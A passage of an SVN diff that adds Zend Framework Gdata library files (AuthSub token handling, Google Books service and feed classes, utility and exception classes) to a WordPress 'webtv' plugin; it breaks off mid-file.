+     * @throws Zend_Gdata_App_InvalidArgumentException
+     */
+    public static function formatTimestamp($timestamp)
+    {
+        $rfc3339 = '/^(\d{4})\-?(\d{2})\-?(\d{2})((T|t)(\d{2})\:?(\d{2})' .
+                   '\:?(\d{2})(\.\d{1,})?((Z|z)|([\+\-])(\d{2})\:?(\d{2})))?$/';
+
+        if (ctype_digit($timestamp)) {
+            return gmdate('Y-m-d\TH:i:sP', $timestamp);
+        } elseif (preg_match($rfc3339, $timestamp) > 0) {
+            // timestamp is already properly formatted
+            return $timestamp;
+        } else {
+            $ts = strtotime($timestamp);
+            if ($ts === false) {
+                require_once 'Zend/Gdata/App/InvalidArgumentException.php';
+                throw new Zend_Gdata_App_InvalidArgumentException("Invalid timestamp: $timestamp.");
+            }
+            return date('Y-m-d\TH:i:s', $ts);
+        }
+    }
+
+    /** Find the greatest key that is less than or equal to a given upper
+      * bound, and return the value associated with that key.
+      *
+      * @param integer|null $maximumKey The upper bound for keys. If null, the
+      *        maxiumum valued key will be found.
+      * @param array $collection An two-dimensional array of key/value pairs
+      *        to search through.
+      * @returns mixed The value corresponding to the located key.
+      * @throws Zend_Gdata_App_Exception Thrown if $collection is empty.
+      */
+    public static function findGreatestBoundedValue($maximumKey, $collection)
+    {
+        $found = false;
+        $foundKey = $maximumKey;
+
+        // Sanity check: Make sure that the collection isn't empty
+        if (sizeof($collection) == 0) {
+            require_once 'Zend/Gdata/App/Exception.php';
+            throw new Zend_Gdata_App_Exception("Empty namespace collection encountered.");
+        }
+
+        if ($maximumKey === null) {
+            // If the key is null, then we return the maximum available
+            $keys = array_keys($collection);
+            sort($keys);
+            $found = true;
+            $foundKey = end($keys);
+        } else {
+            // Otherwise, we optimistically guess that the current version
+            // will have a matching namespce. If that fails, we decrement the
+            // version until we find a match.
+            while (!$found && $foundKey >= 0) {
+                if (array_key_exists($foundKey, $collection))
+                    $found = true;
+                else
+                    $foundKey--;
+            }
+        }
+
+        // Guard: A namespace wasn't found. Either none were registered, or
+        // the current protcol version is lower than the maximum namespace.
+        if (!$found) {
+            require_once 'Zend/Gdata/App/Exception.php';
+            throw new Zend_Gdata_App_Exception("Namespace compatible with current protocol not found.");
+        }
+
+        return $foundKey;
+    }
+
+}
Index: /trunk/www.guidonia.net/wp/wp-content/plugins/webtv/Drivers/Zend/Gdata/App/VersionException.php
===================================================================
--- /trunk/www.guidonia.net/wp/wp-content/plugins/webtv/Drivers/Zend/Gdata/App/VersionException.php	(revision 44)
+++ /trunk/www.guidonia.net/wp/wp-content/plugins/webtv/Drivers/Zend/Gdata/App/VersionException.php	(revision 44)
@@ -0,0 +1,41 @@
+<?php
+
+/**
+ * Zend Framework
+ *
+ * LICENSE
+ *
+ * This source file is subject to the new BSD license that is bundled
+ * with this package in the file LICENSE.txt.
+ * It is also available through the world-wide-web at this URL:
+ * http://framework.zend.com/license/new-bsd
+ * If you did not receive a copy of the license and are unable to
+ * obtain it through the world-wide-web, please send an email
+ * to license@zend.com so we can send you a copy immediately.
+ *
+ * @category   Zend
+ * @package    Zend_Gdata
+ * @subpackage App
+ * @copyright  Copyright (c) 2005-2008 Zend Technologies USA Inc. (http://www.zend.com)
+ * @license    http://framework.zend.com/license/new-bsd     New BSD License
+ */
+
+/**
+ * Zend_Gdata_App_Exception
+ */
+require_once 'Zend/Gdata/App/Exception.php';
+
+/**
+ * Gdata APP exceptions
+ *
+ * Class to represent version exceptions that occur during Gdata APP operations.
+ *
+ * @category   Zend
+ * @package    Zend_Gdata
+ * @subpackage App
+ * @copyright  Copyright (c) 2005-2008 Zend Technologies USA Inc. (http://www.zend.com)
+ * @license    http://framework.zend.com/license/new-bsd     New BSD License
+ */
+class Zend_Gdata_App_VersionException extends Zend_Gdata_App_Exception
+{
+}
Index: /trunk/www.guidonia.net/wp/wp-content/plugins/webtv/Drivers/Zend/Gdata/AuthSub.php
===================================================================
--- /trunk/www.guidonia.net/wp/wp-content/plugins/webtv/Drivers/Zend/Gdata/AuthSub.php	(revision 44)
+++ /trunk/www.guidonia.net/wp/wp-content/plugins/webtv/Drivers/Zend/Gdata/AuthSub.php	(revision 44)
@@ -0,0 +1,245 @@
+<?php
+
+/**
+ * Zend Framework
+ *
+ * LICENSE
+ *
+ * This source file is subject to the new BSD license that is bundled
+ * with this package in the file LICENSE.txt.
+ * It is also available through the world-wide-web at this URL:
+ * http://framework.zend.com/license/new-bsd
+ * If you did not receive a copy of the license and are unable to
+ * obtain it through the world-wide-web, please send an email
+ * to license@zend.com so we can send you a copy immediately.
+ *
+ * @category   Zend
+ * @package    Zend_Gdata
+ * @subpackage Gdata
+ * @copyright  Copyright (c) 2005-2008 Zend Technologies USA Inc. (http://www.zend.com)
+ * @license    http://framework.zend.com/license/new-bsd     New BSD License
+ */
+
+/**
+ * Zend_Gdata_HttpClient
+ */
+require_once 'Zend/Gdata/HttpClient.php';
+
+/**
+ * Zend_Version
+ */
+require_once 'Zend/Version.php';
+
+/**
+ * Wrapper around Zend_Http_Client to facilitate Google's "Account Authentication
+ * Proxy for Web-Based Applications".
+ *
+ * @see http://code.google.com/apis/accounts/AuthForWebApps.html
+ *
+ * @category   Zend
+ * @package    Zend_Gdata
+ * @subpackage Gdata
+ * @copyright  Copyright (c) 2005-2008 Zend Technologies USA Inc. (http://www.zend.com)
+ * @license    http://framework.zend.com/license/new-bsd     New BSD License
+ */
+class Zend_Gdata_AuthSub
+{
+
+    const AUTHSUB_REQUEST_URI      = 'https://www.google.com/accounts/AuthSubRequest';
+
+    const AUTHSUB_SESSION_TOKEN_URI = 'https://www.google.com/accounts/AuthSubSessionToken';
+
+    const AUTHSUB_REVOKE_TOKEN_URI  = 'https://www.google.com/accounts/AuthSubRevokeToken';
+
+    const AUTHSUB_TOKEN_INFO_URI    = 'https://www.google.com/accounts/AuthSubTokenInfo';
+
+     /**
+      * Creates a URI to request a single-use AuthSub token.
+      *
+      * @param string $next (required) URL identifying the service to be 
+      *                     accessed.
+      *  The resulting token will enable access to the specified service only.
+      *  Some services may limit scope further, such as read-only access.
+      * @param string $scope (required) URL identifying the service to be 
+      *                      accessed.  The resulting token will enable 
+      *                      access to the specified service only.
+      *                      Some services may limit scope further, such 
+      *                      as read-only access.
+      * @param int $secure (optional) Boolean flag indicating whether the 
+      *                    authentication transaction should issue a secure 
+      *                    token (1) or a non-secure token (0). Secure tokens
+      *                    are available to registered applications only.
+      * @param int $session (optional) Boolean flag indicating whether 
+      *                     the one-time-use  token may be exchanged for 
+      *                     a session token (1) or not (0).
+      * @param string $request_uri (optional) URI to which to direct the 
+      *                            authentication request.
+      */
+     public static function getAuthSubTokenUri($next, $scope, $secure=0, $session=0, 
+                                               $request_uri = self::AUTHSUB_REQUEST_URI)
+     {
+         $querystring = '?next=' . urlencode($next)
+             . '&scope=' . urldecode($scope)
+             . '&secure=' . urlencode($secure)
+             . '&session=' . urlencode($session);
+         return $request_uri . $querystring;
+     }
+
+
+    /**
+     * Upgrades a single use token to a session token
+     *
+     * @param string $token The single use token which is to be upgraded
+     * @param Zend_Http_Client $client (optional) HTTP client to use to 
+     *                                 make the request
+     * @param string $request_uri (optional) URI to which to direct 
+     *                            the session token upgrade
+     * @return string The upgraded token value
+     * @throws Zend_Gdata_App_AuthException
+     * @throws Zend_Gdata_App_HttpException
+     */
+    public static function getAuthSubSessionToken(
+            $token, $client = null, 
+            $request_uri = self::AUTHSUB_SESSION_TOKEN_URI)
+    {
+        $client = self::getHttpClient($token, $client);
+   
+        if ($client instanceof Zend_Gdata_HttpClient) { 
+            $filterResult = $client->filterHttpRequest('GET', $request_uri);
+            $url = $filterResult['url'];
+            $headers = $filterResult['headers'];
+            $client->setHeaders($headers);
+            $client->setUri($url);
+        } else {
+            $client->setUri($request_uri);
+        }
+
+        try {
+            $response = $client->request('GET');
+        } catch (Zend_Http_Client_Exception $e) {
+            require_once 'Zend/Gdata/App/HttpException.php';
+            throw new Zend_Gdata_App_HttpException($e->getMessage(), $e);
+        }
+
+        // Parse Google's response
+        if ($response->isSuccessful()) {
+            $goog_resp = array();
+            foreach (explode("\n", $response->getBody()) as $l) {
+                $l = chop($l);
+                if ($l) {
+                    list($key, $val) = explode('=', chop($l), 2);
+                    $goog_resp[$key] = $val;
+                }
+            }
+            return $goog_resp['Token'];
+        } else {
+            require_once 'Zend/Gdata/App/AuthException.php';
+            throw new Zend_Gdata_App_AuthException(
+                    'Token upgrade failed. Reason: ' . $response->getBody());
+        }
+    }
+
+    /**
+     * Revoke a token
+     *
+     * @param string $token The token to revoke
+     * @param Zend_Http_Client $client (optional) HTTP client to use to make the request
+     * @param string $request_uri (optional) URI to which to direct the revokation request
+     * @return boolean Whether the revokation was successful
+     * @throws Zend_Gdata_App_HttpException
+     */
+    public static function AuthSubRevokeToken($token, $client = null,
+                                              $request_uri = self::AUTHSUB_REVOKE_TOKEN_URI)
+    {
+        $client = self::getHttpClient($token, $client);
+ 
+        if ($client instanceof Zend_Gdata_HttpClient) {
+            $filterResult = $client->filterHttpRequest('GET', $request_uri);
+            $url = $filterResult['url'];
+            $headers = $filterResult['headers'];
+            $client->setHeaders($headers);
+            $client->setUri($url);
+            $client->resetParameters();
+        } else {
+            $client->setUri($request_uri);
+        }
+
+        ob_start();
+        try {
+            $response = $client->request('GET');
+        } catch (Zend_Http_Client_Exception $e) {
+            require_once 'Zend/Gdata/App/HttpException.php';
+            throw new Zend_Gdata_App_HttpException($e->getMessage(), $e);
+        }
+        ob_end_clean();
+        // Parse Google's response
+        if ($response->isSuccessful()) {
+            return true;
+        } else {
+            return false;
+        }
+    }
+
+
+    /**
+     * get token information
+     *
+     * @param string $token The token to retrieve information about
+     * @param Zend_Http_Client $client (optional) HTTP client to use to 
+     *                                 make the request
+     * @param string $request_uri (optional) URI to which to direct 
+     *                            the information request
+     */
+    public static function getAuthSubTokenInfo(
+            $token, $client = null, $request_uri = self::AUTHSUB_TOKEN_INFO_URI)
+    {
+        $client = self::getHttpClient($token, $client);
+
+        if ($client instanceof Zend_Gdata_HttpClient) {
+            $filterResult = $client->filterHttpRequest('GET', $request_uri);
+            $url = $filterResult['url'];
+            $headers = $filterResult['headers'];
+            $client->setHeaders($headers);
+            $client->setUri($url);
+        } else {
+            $client->setUri($request_uri);
+        }
+
+        ob_start();
+        try {
+            $response = $client->request('GET');
+        } catch (Zend_Http_Client_Exception $e) {
+            require_once 'Zend/Gdata/App/HttpException.php';
+            throw new Zend_Gdata_App_HttpException($e->getMessage(), $e);
+        }
+        ob_end_clean();
+        return $response->getBody();
+    }
+
+    /**
+     * Retrieve a HTTP client object with AuthSub credentials attached
+     * as the Authorization header
+     *
+     * @param string $token The token to retrieve information about
+     * @param Zend_Gdata_HttpClient $client (optional) HTTP client to use to make the request
+     */
+    public static function getHttpClient($token, $client = null)
+    {
+        if ($client == null) {
+            $client = new Zend_Gdata_HttpClient();
+        }
+        if (!$client instanceof Zend_Http_Client) {
+            require_once 'Zend/Gdata/App/HttpException.php';
+            throw new Zend_Gdata_App_HttpException('Client is not an instance of Zend_Http_Client.');
+        }
+        $useragent = 'Zend_Framework_Gdata/' . Zend_Version::VERSION;
+        $client->setConfig(array(
+                'strictredirects' => true,
+                'useragent' => $useragent
+            )
+        );
+        $client->setAuthSubToken($token);
+        return $client;
+    }
+
+}
Index: /trunk/www.guidonia.net/wp/wp-content/plugins/webtv/Drivers/Zend/Gdata/Books.php
===================================================================
--- /trunk/www.guidonia.net/wp/wp-content/plugins/webtv/Drivers/Zend/Gdata/Books.php	(revision 44)
+++ /trunk/www.guidonia.net/wp/wp-content/plugins/webtv/Drivers/Zend/Gdata/Books.php	(revision 44)
@@ -0,0 +1,200 @@
+<?php
+
+/**
+ * Zend Framework
+ *
+ * LICENSE
+ *
+ * This source file is subject to the new BSD license that is bundled
+ * with this package in the file LICENSE.txt.
+ * It is also available through the world-wide-web at this URL:
+ * http://framework.zend.com/license/new-bsd
+ * If you did not receive a copy of the license and are unable to
+ * obtain it through the world-wide-web, please send an email
+ * to license@zend.com so we can send you a copy immediately.
+ *
+ * @category   Zend
+ * @package    Zend_Gdata
+ * @subpackage Books
+ * @copyright  Copyright (c) 2005-2008 Zend Technologies USA Inc. (http://www.zend.com)
+ * @license    http://framework.zend.com/license/new-bsd     New BSD License
+ */
+
+require_once 'Zend/Gdata.php';
+
+/**
+ * @see Zend_Gdata_DublinCore
+ */
+require_once 'Zend/Gdata/DublinCore.php';
+
+/**
+ * @see Zend_Gdata_Books_CollectionEntry
+ */
+require_once 'Zend/Gdata/Books/CollectionEntry.php';
+
+/**
+ * @see Zend_Gdata_Books_CollectionFeed
+ */
+require_once 'Zend/Gdata/Books/CollectionFeed.php';
+
+/**
+ * @see Zend_Gdata_Books_VolumeEntry
+ */
+require_once 'Zend/Gdata/Books/VolumeEntry.php';
+
+/**
+ * @see Zend_Gdata_Books_VolumeFeed
+ */
+require_once 'Zend/Gdata/Books/VolumeFeed.php';
+
+/**
+ * Service class for interacting with the Books service
+ *
+ * @category   Zend
+ * @package    Zend_Gdata
+ * @subpackage Books
+ * @copyright  Copyright (c) 2005-2008 Zend Technologies USA Inc. (http://www.zend.com)
+ * @license    http://framework.zend.com/license/new-bsd     New BSD License
+ */
+class Zend_Gdata_Books extends Zend_Gdata
+{
+    const VOLUME_FEED_URI = 'http://books.google.com/books/feeds/volumes';
+    const MY_LIBRARY_FEED_URI = 'http://books.google.com/books/feeds/users/me/collections/library/volumes';
+    const MY_ANNOTATION_FEED_URI = 'http://books.google.com/books/feeds/users/me/volumes';
+    const AUTH_SERVICE_NAME = 'print';
+
+    /**
+     * Namespaces used for Zend_Gdata_Books
+     *
+     * @var array
+     */
+    public static $namespaces = array(
+        array('gbs', 'http://schemas.google.com/books/2008', 1, 0),
+        array('dc', 'http://purl.org/dc/terms', 1, 0)
+    );
+
+    /**
+     * Create Zend_Gdata_Books object
+     *
+     * @param Zend_Http_Client $client (optional) The HTTP client to use when
+     *          when communicating with the Google servers.
+     * @param string $applicationId The identity of the app in the form of Company-AppName-Version
+     */
+    public function __construct($client = null, $applicationId = 'MyCompany-MyApp-1.0')
+    {
+        $this->registerPackage('Zend_Gdata_Books');
+        $this->registerPackage('Zend_Gdata_Books_Extension');
+        parent::__construct($client, $applicationId);
+        $this->_httpClient->setParameterPost('service', self::AUTH_SERVICE_NAME);
+     }
+
+    /**
+     * Retrieves a feed of volumes.
+     *
+     * @param Zend_Gdata_Query|string|null $location (optional) The URL to
+     *        query or a Zend_Gdata_Query object from which a URL can be
+     *        determined.
+     * @return Zend_Gdata_Books_VolumeFeed The feed of volumes found at the
+     *         specified URL.
+     */
+    public function getVolumeFeed($location = null)
+    {
+        if ($location == null) {
+            $uri = self::VOLUME_FEED_URI;
+        } else if ($location instanceof Zend_Gdata_Query) {
+            $uri = $location->getQueryUrl();
+        } else {
+            $uri = $location;
+        }
+        return parent::getFeed($uri, 'Zend_Gdata_Books_VolumeFeed');
+    }
+
+    /**
+     * Retrieves a specific volume entry.
+     *
+     * @param string|null $volumeId The volumeId of interest.
+     * @param Zend_Gdata_Query|string|null $location (optional) The URL to
+     *        query or a Zend_Gdata_Query object from which a URL can be
+     *        determined.
+     * @return Zend_Gdata_Books_VolumeEntry The feed of volumes found at the
+     *         specified URL.
+     */
+    public function getVolumeEntry($volumeId = null, $location = null)
+    {
+        if ($volumeId !== null) {
+            $uri = self::VOLUME_FEED_URI . "/" . $volumeId;
+        } else if ($location instanceof Zend_Gdata_Query) {
+            $uri = $location->getQueryUrl();
+        } else {
+            $uri = $location;
+        }
+        return parent::getEntry($uri, 'Zend_Gdata_Books_VolumeEntry');
+    }
+
+    /**
+     * Retrieves a feed of volumes, by default the User library feed.
+     *
+     * @param Zend_Gdata_Query|string|null $location (optional) The URL to
+     *        query.
+     * @return Zend_Gdata_Books_VolumeFeed The feed of volumes found at the
+     *         specified URL.
+     */
+    public function getUserLibraryFeed($location = null)
+    {
+        if ($location == null) {
+            $uri = self::MY_LIBRARY_FEED_URI;
+        } else {
+            $uri = $location;
+        }
+        return parent::getFeed($uri, 'Zend_Gdata_Books_VolumeFeed');
+    }
+
+    /**
+     * Retrieves a feed of volumes, by default the User annotation feed
+     *
+     * @param Zend_Gdata_Query|string|null $location (optional) The URL to
+     *        query.
+     * @return Zend_Gdata_Books_VolumeFeed The feed of volumes found at the
+     *         specified URL.
+     */
+    public function getUserAnnotationFeed($location = null)
+    {
+        if ($location == null) {
+            $uri = self::MY_ANNOTATION_FEED_URI;
+        } else {
+            $uri = $location;
+        }
+        return parent::getFeed($uri, 'Zend_Gdata_Books_VolumeFeed');
+    }
+
+    /**
+     * Insert a Volume / Annotation
+     *
+     * @param Zend_Gdata_Books_VolumeEntry $entry
+     * @param Zend_Gdata_Query|string|null $location (optional) The URL to
+     *        query
+     * @return Zend_Gdata_Books_VolumeEntry The inserted volume entry.
+     */
+    public function insertVolume($entry, $location = null)
+    {
+        if ($location == null) {
+            $uri = self::MY_LIBRARY_FEED_URI;
+        } else {
+            $uri = $location;
+        }
+        return parent::insertEntry(
+            $entry, $uri, 'Zend_Gdata_Books_VolumeEntry');
+    }
+
+    /**
+     * Delete a Volume
+     *
+     * @param Zend_Gdata_Books_VolumeEntry $entry
+     * @return void
+     */
+    public function deleteVolume($entry)
+    {
+        $entry->delete();
+    }
+
+}
Index: /trunk/www.guidonia.net/wp/wp-content/plugins/webtv/Drivers/Zend/Gdata/Books/CollectionEntry.php
===================================================================
--- /trunk/www.guidonia.net/wp/wp-content/plugins/webtv/Drivers/Zend/Gdata/Books/CollectionEntry.php	(revision 44)
+++ /trunk/www.guidonia.net/wp/wp-content/plugins/webtv/Drivers/Zend/Gdata/Books/CollectionEntry.php	(revision 44)
@@ -0,0 +1,57 @@
+<?php
+
+/**
+ * Zend Framework
+ *
+ * LICENSE
+ *
+ * This source file is subject to the new BSD license that is bundled
+ * with this package in the file LICENSE.txt.
+ * It is also available through the world-wide-web at this URL:
+ * http://framework.zend.com/license/new-bsd
+ * If you did not receive a copy of the license and are unable to
+ * obtain it through the world-wide-web, please send an email
+ * to license@zend.com so we can send you a copy immediately.
+ *
+ * @category   Zend
+ * @package    Zend_Gdata
+ * @subpackage Books
+ * @copyright  Copyright (c) 2005-2008 Zend Technologies USA Inc.
+ * (http://www.zend.com)
+ * @license    http://framework.zend.com/license/new-bsd     New BSD License
+ */
+
+/**
+ * @see Zend_Gdata_Entry
+ */
+require_once 'Zend/Gdata/Entry.php';
+
+/**
+ * Describes an entry in a feed of collections
+ *
+ * @category   Zend
+ * @package    Zend_Gdata
+ * @subpackage Books
+ * @copyright  Copyright (c) 2005-2008 Zend Technologies USA Inc.
+ * (http://www.zend.com)
+ * @license    http://framework.zend.com/license/new-bsd     New BSD License
+ */
+class Zend_Gdata_Books_CollectionEntry extends Zend_Gdata_Entry
+{
+
+    /**
+     * Constructor for Zend_Gdata_Books_CollectionEntry which
+     * Describes an entry in a feed of collections
+     *
+     * @param DOMElement $element (optional) DOMElement from which this
+     *          object should be constructed.
+     */
+    public function __construct($element = null)
+    {
+        $this->registerAllNamespaces(Zend_Gdata_Books::$namespaces);
+        parent::__construct($element);
+    }
+
+
+}
+
Index: /trunk/www.guidonia.net/wp/wp-content/plugins/webtv/Drivers/Zend/Gdata/Books/CollectionFeed.php
===================================================================
--- /trunk/www.guidonia.net/wp/wp-content/plugins/webtv/Drivers/Zend/Gdata/Books/CollectionFeed.php	(revision 44)
+++ /trunk/www.guidonia.net/wp/wp-content/plugins/webtv/Drivers/Zend/Gdata/Books/CollectionFeed.php	(revision 44)
@@ -0,0 +1,63 @@
+<?php
+
+/**
+ * Zend Framework
+ *
+ * LICENSE
+ *
+ * This source file is subject to the new BSD license that is bundled
+ * with this package in the file LICENSE.txt.
+ * It is also available through the world-wide-web at this URL:
+ * http://framework.zend.com/license/new-bsd
+ * If you did not receive a copy of the license and are unable to
+ * obtain it through the world-wide-web, please send an email
+ * to license@zend.com so we can send you a copy immediately.
+ *
+ * @category   Zend
+ * @package    Zend_Gdata
+ * @subpackage Books
+ * @copyright  Copyright (c) 2005-2008 Zend Technologies USA Inc.
+ * (http://www.zend.com)
+ * @license    http://framework.zend.com/license/new-bsd     New BSD License
+ */
+
+/**
+ * @see Zend_Gdata_Feed
+ */
+require_once 'Zend/Gdata/Feed.php';
+
+/**
+ * Describes a Book Search collection feed
+ *
+ * @category   Zend
+ * @package    Zend_Gdata
+ * @subpackage Books
+ * @copyright  Copyright (c) 2005-2008 Zend Technologies USA Inc.
+ * (http://www.zend.com)
+ * @license    http://framework.zend.com/license/new-bsd     New BSD License
+ */
+class Zend_Gdata_Books_CollectionFeed extends Zend_Gdata_Feed
+{
+
+    /**
+     * Constructor for Zend_Gdata_Books_CollectionFeed which
+     * Describes a Book Search collection feed
+     *
+     * @param DOMElement $element (optional) DOMElement from which this
+     *          object should be constructed.
+     */
+    public function __construct($element = null)
+    {
+        $this->registerAllNamespaces(Zend_Gdata_Books::$namespaces);
+        parent::__construct($element);
+    }
+
+    /**
+     * The classname for individual feed elements.
+     *
+     * @var string
+     */
+    protected $_entryClassName = 'Zend_Gdata_Books_CollectionEntry';
+
+}
+
Index: /trunk/www.guidonia.net/wp/wp-content/plugins/webtv/Drivers/Zend/Gdata/Books/Extension/AnnotationLink.php
===================================================================
--- /trunk/www.guidonia.net/wp/wp-content/plugins/webtv/Drivers/Zend/Gdata/Books/Extension/AnnotationLink.php	(revision 44)
+++ /trunk/www.guidonia.net/wp/wp-content/plugins/webtv/Drivers/Zend/Gdata/Books/Extension/AnnotationLink.php	(revision 44)
@@ -0,0 +1,64 @@
+<?php
+
+/**
+ * Zend Framework
+ *
+ * LICENSE
+ *
+ * This source file is subject to the new BSD license that is bundled
+ * with this package in the file LICENSE.txt.
+ * It is also available through the world-wide-web at this URL:
+ * http://framework.zend.com/license/new-bsd
+ * If you did not receive a copy of the license and are unable to
+ * obtain it through the world-wide-web, please send an email
+ * to license@zend.com so we can send you a copy immediately.
+ *
+ * @category   Zend
+ * @package    Zend_Gdata
+ * @subpackage Books
+ * @copyright  Copyright (c) 2005-2008 Zend Technologies USA Inc.
+ * (http://www.zend.com)
+ * @license    http://framework.zend.com/license/new-bsd     New BSD License
+ */
+
+/**
+ * @see Zend_Gdata_Books_Extension_BooksLink
+ */
+require_once 'Zend/Gdata/Books/Extension/BooksLink.php';
+
+/**
+ * Describes an annotation link
+ *
+ * @category   Zend
+ * @package    Zend_Gdata
+ * @subpackage Books
+ * @copyright  Copyright (c) 2005-2008 Zend Technologies USA Inc.
+ * (http://www.zend.com)
+ * @license    http://framework.zend.com/license/new-bsd     New BSD License
+ */
+class Zend_Gdata_Books_Extension_AnnotationLink extends
+    Zend_Gdata_Books_Extension_BooksLink
+{
+
+    /**
+     * Constructor for Zend_Gdata_Books_Extension_AnnotationLink which
+     * Describes an annotation link
+     *
+     * @param string|null $href Linked resource URI
+     * @param string|null $rel Forward relationship
+     * @param string|null $type Resource MIME type
+     * @param string|null $hrefLang Resource language
+     * @param string|null $title Human-readable resource title
+     * @param string|null $length Resource length in octets
+     * @param DOMElement $element (optional) DOMElement from which this
+     *          object should be constructed.
+     */
+    public function __construct($href = null, $rel = null, $type = null,
+            $hrefLang = null, $title = null, $length = null)
+    {
+        $this->registerAllNamespaces(Zend_Gdata_Books::$namespaces);
+        parent::__construct($href, $rel, $type, $hrefLang, $title, $length);
+    }
+
+}
+
Index: /trunk/www.guidonia.net/wp/wp-content/plugins/webtv/Drivers/Zend/Gdata/Books/Extension/BooksCategory.php
===================================================================
--- /trunk/www.guidonia.net/wp/wp-content/plugins/webtv/Drivers/Zend/Gdata/Books/Extension/BooksCategory.php	(revision 44)
+++ /trunk/www.guidonia.net/wp/wp-content/plugins/webtv/Drivers/Zend/Gdata/Books/Extension/BooksCategory.php	(revision 44)
@@ -0,0 +1,60 @@
+<?php
+
+/**
+ * Zend Framework
+ *
+ * LICENSE
+ *
+ * This source file is subject to the new BSD license that is bundled
+ * with this package in the file LICENSE.txt.
+ * It is also available through the world-wide-web at this URL:
+ * http://framework.zend.com/license/new-bsd
+ * If you did not receive a copy of the license and are unable to
+ * obtain it through the world-wide-web, please send an email
+ * to license@zend.com so we can send you a copy immediately.
+ *
+ * @category   Zend
+ * @package    Zend_Gdata
+ * @subpackage Books
+ * @copyright  Copyright (c) 2005-2008 Zend Technologies USA Inc.
+ * (http://www.zend.com)
+ * @license    http://framework.zend.com/license/new-bsd     New BSD License
+ */
+
+/**
+ * @see Zend_Gdata_App_Extension_Category
+ */
+require_once 'Zend/Gdata/App/Extension/Category.php';
+
+/**
+ * Describes a books category
+ *
+ * @category   Zend
+ * @package    Zend_Gdata
+ * @subpackage Books
+ * @copyright  Copyright (c) 2005-2008 Zend Technologies USA Inc.
+ * (http://www.zend.com)
+ * @license    http://framework.zend.com/license/new-bsd     New BSD License
+ */
+class Zend_Gdata_Books_Extension_BooksCategory extends
+    Zend_Gdata_App_Extension_Category
+{
+
+    /**
+     * Constructor for Zend_Gdata_Books_Extension_BooksCategory which
+     * Describes a books category
+     *
+     * @param string|null $term An identifier representing the category within
+     *        the categorization scheme.
+     * @param string|null $scheme A string containing a URI identifying the
+     *        categorization scheme.
+     * @param string|null $label A human-readable label for display in
+     *        end-user applications.
+     */
+    public function __construct($term = null, $scheme = null, $label = null)
+    {
+        $this->registerAllNamespaces(Zend_Gdata_Books::$namespaces);
+        parent::__construct($term, $scheme, $label);
+    }
+
+}
Index: /trunk/www.guidonia.net/wp/wp-content/plugins/webtv/Drivers/Zend/Gdata/Books/Extension/BooksLink.php
===================================================================
--- /trunk/www.guidonia.net/wp/wp-content/plugins/webtv/Drivers/Zend/Gdata/Books/Extension/BooksLink.php	(revision 44)
+++ /trunk/www.guidonia.net/wp/wp-content/plugins/webtv/Drivers/Zend/Gdata/Books/Extension/BooksLink.php	(revision 44)
@@ -0,0 +1,62 @@
+<?php
+
+/**
+ * Zend Framework
+ *
+ * LICENSE
+ *
+ * This source file is subject to the new BSD license that is bundled
+ * with this package in the file LICENSE.txt.
+ * It is also available through the world-wide-web at this URL:
+ * http://framework.zend.com/license/new-bsd
+ * If you did not receive a copy of the license and are unable to
+ * obtain it through the world-wide-web, please send an email
+ * to license@zend.com so we can send you a copy immediately.
+ *
+ * @category   Zend
+ * @package    Zend_Gdata
+ * @subpackage Books
+ * @copyright  Copyright (c) 2005-2008 Zend Technologies USA Inc.
+ * (http://www.zend.com)
+ * @license    http://framework.zend.com/license/new-bsd     New BSD License
+ */
+
+/**
+ * @see Zend_Gdata_App_Extension_Link
+ */
+require_once 'Zend/Gdata/App/Extension/Link.php';
+
+/**
+ * Extends the base Link class with Books extensions
+ *
+ * @category   Zend
+ * @package    Zend_Gdata
+ * @subpackage Books
+ * @copyright  Copyright (c) 2005-2008 Zend Technologies USA Inc.
+ * (http://www.zend.com)
+ * @license    http://framework.zend.com/license/new-bsd     New BSD License
+ */
+class Zend_Gdata_Books_Extension_BooksLink extends Zend_Gdata_App_Extension_Link
+{
+
+    /**
+     * Constructor for Zend_Gdata_Books_Extension_BooksLink which
+     * Extends the base Link class with Books extensions
+     *
+     * @param string|null $href Linked resource URI
+     * @param string|null $rel Forward relationship
+     * @param string|null $type Resource MIME type
+     * @param string|null $hrefLang Resource language
+     * @param string|null $title Human-readable resource title
+     * @param string|null $length Resource length in octets
+     */
+    public function __construct($href = null, $rel = null, $type = null,
+            $hrefLang = null, $title = null, $length = null)
+    {
+        $this->registerAllNamespaces(Zend_Gdata_Books::$namespaces);
+        parent::__construct($href, $rel, $type, $hrefLang, $title, $length);
+    }
+
+
+}
+
Index: /trunk/www.guidonia.net/wp/wp-content/plugins/webtv/Drivers/Zend/Gdata/Books/Extension/Embeddability.php
===================================================================
--- /trunk/www.guidonia.net/wp/wp-content/plugins/webtv/Drivers/Zend/Gdata/Books/Extension/Embeddability.php	(revision 44)
+++ /trunk/www.guidonia.net/wp/wp-content/plugins/webtv/Drivers/Zend/Gdata/Books/Extension/Embeddability.php	(revision 44)
@@ -0,0 +1,123 @@
+<?php
+
+/**
+ * Zend Framework
+ *
+ * LICENSE
+ *
+ * This source file is subject to the new BSD license that is bundled
+ * with this package in the file LICENSE.txt.
+ * It is also available through the world-wide-web at this URL:
+ * http://framework.zend.com/license/new-bsd
+ * If you did not receive a copy of the license and are unable to
+ * obtain it through the world-wide-web, please send an email
+ * to license@zend.com so we can send you a copy immediately.
+ *
+ * @category   Zend
+ * @package    Zend_Gdata
+ * @subpackage Books
+ * @copyright  Copyright (c) 2005-2008 Zend Technologies USA Inc.
+ * (http://www.zend.com)
+ * @license    http://framework.zend.com/license/new-bsd     New BSD License
+ */
+
+/**
+ * @see Zend_Gdata_Extension
+ */
+require_once 'Zend/Gdata/Extension.php';
+
+/**
+ * Describes an embeddability
+ *
+ * @category   Zend
+ * @package    Zend_Gdata
+ * @subpackage Books
+ * @copyright  Copyright (c) 2005-2008 Zend Technologies USA Inc.
+ * (http://www.zend.com)
+ * @license    http://framework.zend.com/license/new-bsd     New BSD License
+ */
+class Zend_Gdata_Books_Extension_Embeddability extends Zend_Gdata_Extension
+{
+
+    protected $_rootNamespace = 'gbs';
+    protected $_rootElement = 'embeddability';
+    protected $_value = null;
+
+    /**
+     * Constructor for Zend_Gdata_Books_Extension_Embeddability which
+     * Describes an embeddability.
+     *
+     * @param string|null $value A programmatic value representing the book's
+     *        embeddability.
+     */
+    public function __construct($value = null)
+    {
+        $this->registerAllNamespaces(Zend_Gdata_Books::$namespaces);
+        parent::__construct();
+        $this->_value = $value;
+    }
+
+    /**
+     * Retrieves DOMElement which corresponds to this element and all
+     * child properties. This is used to build this object back into a DOM
+     * and eventually XML text for sending to the server upon updates, or
